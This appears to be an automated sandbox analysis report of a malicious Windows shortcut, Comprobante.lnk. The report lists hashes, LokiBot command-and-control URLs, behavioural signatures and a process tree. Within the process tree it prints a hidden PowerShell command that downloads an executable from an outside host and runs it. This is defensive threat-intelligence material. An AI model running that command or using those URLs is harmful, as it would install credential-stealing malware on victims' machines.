Analysis
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max time kernel
126s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2024 07:14
Static task
static1
Behavioral task
behavioral1
Sample
Comprobante.lnk
Resource
win7-20240708-en
General
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Target
Comprobante.lnk
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Size
2KB
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MD5
b234c46d1f63b18ad2dc3f824bc0d6fa
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SHA1
fbdcce6b33b9e0ffbba48aadca0db9059af37141
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SHA256
8cd7bd86c1cc1be6d0c553fc3e8e02232b70363fadc3212989b1599a70c668d3
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SHA512
883b59b949966ac9a4b04f51a5298f842b94c80423dec3dd35105c4c61724cde142b7a781a8fab9da32c6748e4d205af7c74f1acd09388f5d19600ac8da97883
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif
Extracted
lokibot
http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 928 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 4 IoCs
Processes:
mjtjewi.exemjtjewi.exemjtjewi.exemjtjewi.exepid process 2648 mjtjewi.exe 2636 mjtjewi.exe 2628 mjtjewi.exe 2000 mjtjewi.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
mjtjewi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook mjtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook mjtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook mjtjewi.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
mjtjewi.exedescription pid process target process PID 2648 set thread context of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 set thread context of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 set thread context of 2000 2648 mjtjewi.exe mjtjewi.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2264 2000 WerFault.exe mjtjewi.exe -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
mjtjewi.exemjtjewi.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mjtjewi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mjtjewi.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 928 powershell.exe 928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exemjtjewi.exemjtjewi.exedescription pid process Token: SeDebugPrivilege 928 powershell.exe Token: SeDebugPrivilege 2648 mjtjewi.exe Token: SeDebugPrivilege 2628 mjtjewi.exe -
Suspicious use of WriteProcessMemory 34 IoCs
Processes:
cmd.exepowershell.exemjtjewi.exedescription pid process target process PID 4456 wrote to memory of 928 4456 cmd.exe powershell.exe PID 4456 wrote to memory of 928 4456 cmd.exe powershell.exe PID 928 wrote to memory of 1900 928 powershell.exe OpenWith.exe PID 928 wrote to memory of 1900 928 powershell.exe OpenWith.exe PID 928 wrote to memory of 2648 928 powershell.exe mjtjewi.exe PID 928 wrote to memory of 2648 928 powershell.exe mjtjewi.exe PID 928 wrote to memory of 2648 928 powershell.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2636 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2628 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe PID 2648 wrote to memory of 2000 2648 mjtjewi.exe mjtjewi.exe -
outlook_office_path 1 IoCs
Processes:
mjtjewi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook mjtjewi.exe -
outlook_win_path 1 IoCs
Processes:
mjtjewi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook mjtjewi.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Comprobante.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','mjtjewi.exe');./'mjtjewi.exe';(get-item 'mjtjewi.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:928 -
C:\Windows\system32\OpenWith.exe"C:\Windows\system32\OpenWith.exe"3⤵PID:1900
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C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe"C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Users\Admin\AppData\Local\Temp\mjtjewi.exeC:\Users\Admin\AppData\Local\Temp\mjtjewi.exe4⤵
- Executes dropped EXE
PID:2636
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C:\Users\Admin\AppData\Local\Temp\mjtjewi.exeC:\Users\Admin\AppData\Local\Temp\mjtjewi.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2628
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C:\Users\Admin\AppData\Local\Temp\mjtjewi.exeC:\Users\Admin\AppData\Local\Temp\mjtjewi.exe4⤵
- Executes dropped EXE
PID:2000 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 805⤵
- Program crash
PID:2264
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2000 -ip 20001⤵PID:1612
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
363KB
MD5db94d5df4add0a06f261eae73c2da5db
SHA1a37ffecd4004127c3ee2e4ed8f2e5d507c418dc1
SHA2568cf4cc35e623a326f1b5fe4892f5d5e44272925f33b7439e675edfc81ba2af70
SHA5128fc3f52d241cd06db33bcc6fb85564a4fd3ee171e154162b2fb5b1c8e63216cd0f470ebe9ddc1d5e093b4713e1e93df33d696eed0258d89e3a33b68d47b3cc67
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61